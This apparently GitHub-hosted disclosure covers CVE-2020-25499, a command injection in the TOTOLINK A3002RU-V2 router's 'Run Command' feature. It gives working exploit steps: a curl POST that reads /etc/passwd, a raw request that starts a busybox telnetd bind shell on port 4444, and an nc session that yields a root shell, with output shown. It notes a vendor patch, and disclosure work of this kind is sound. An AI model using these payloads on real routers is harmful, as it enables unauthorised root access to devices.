

main

...

Vulnerabilities / RCE_TOTOLINK-A3002RU-V2



kdoos Update RCE_TOTOLINK-A3002RU-V2

[History](#)

1 contributor

71 lines (56 sloc) | 2.7 KB

...

```
1 =====
2 TOTOLINK A3002RU-V2.0.0 B20190814.1034 allows authenticated remote
3 users to modify the system's 'Run Command'.
4 Also vulnerabilities is more dangerous when router uses remote management function
5 through the public-facing IP address on the WAN port.
6 Attackers can send prepared POST request to device during administrator
7 session is active and also got rce, because in request doesn't requires any
8 authenticated token or cookies.
9
10 An attacker can use this functionality to execute arbitrary OS commands
11 on the router. There is also possibility to get shell command with root privilege on device.
12
13
14
15 Administrator must login to administrator panel and go to
16 Advanced Setup-> System->Run Command.
17 There is possibility to run ping and traceroute but it is also possible
18 to change it and run different os command.
19 Or Attacker need to send the request to router during admin session.
20
21 If You like to use curl:
22 - Send command:
23 curl -d "submit-url=%2Fsyscmd.htm&sysCmd=cat+/etc/passwd" -X POST http://192.168.1.1/boafm/formSysCmd
24 - Get response:
25 curl http://192.168.1.1/syscmd.htm
26 ...
27 root:x:0:0:root:/:/bin/sh
28 nobody:x:0:0:nobody:/:dev/null
29 ...
30
31
32 On router is busybox module so if run command to get bind shell on port 4444:
33 '/bin/busybox telnetd -l/bin/sh -p4444'
34
35 -----
36 POST /boafm/formSysCmd HTTP/1.1
37 Host: 192.168.1.1
38 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
39 Accept-Language: en-US,en;q=0.5
40 Accept-Encoding: gzip, deflate
41 Content-Type: application/x-www-form-urlencoded
42 Content-Length: 44
43 Connection: close
44 Upgrade-Insecure-Requests: 1
45
46 submit-url=%2Fsyscmd.htm&sysCmd=/bin/busybox+telnetd+-l/bin/sh+-p4444
47 -----
48
49 Will get open port 4444 which is listening for connections.
50 So when connect to this port using nc will get a shell with
51 root privilege on router.
52 -----
53 # nc 192.168.1.1 4444
54 * echo $USER
55 echo $USER
56 root
57 # cat /proc/version
58 cat /proc/version
59 Linux version 3.10.90 (admin@hasee1.hopeiot) (gcc version 4.4.7 (Realtek MSDK-4.4.7 Build 2001) ) #2201 Wed Aug 14 10:38:28 CST 2019
60 #
61 -----
62
63
64
65 The producer and cve.mitre.org was announced 9.09.2020 and new version of firmware is available.
66 The Producer confirm patched this vulnerability.
67 https://www.totolink.net/home/index/newsss/id/196.html
68
69 CVE-2020-25499
70
71 =====
```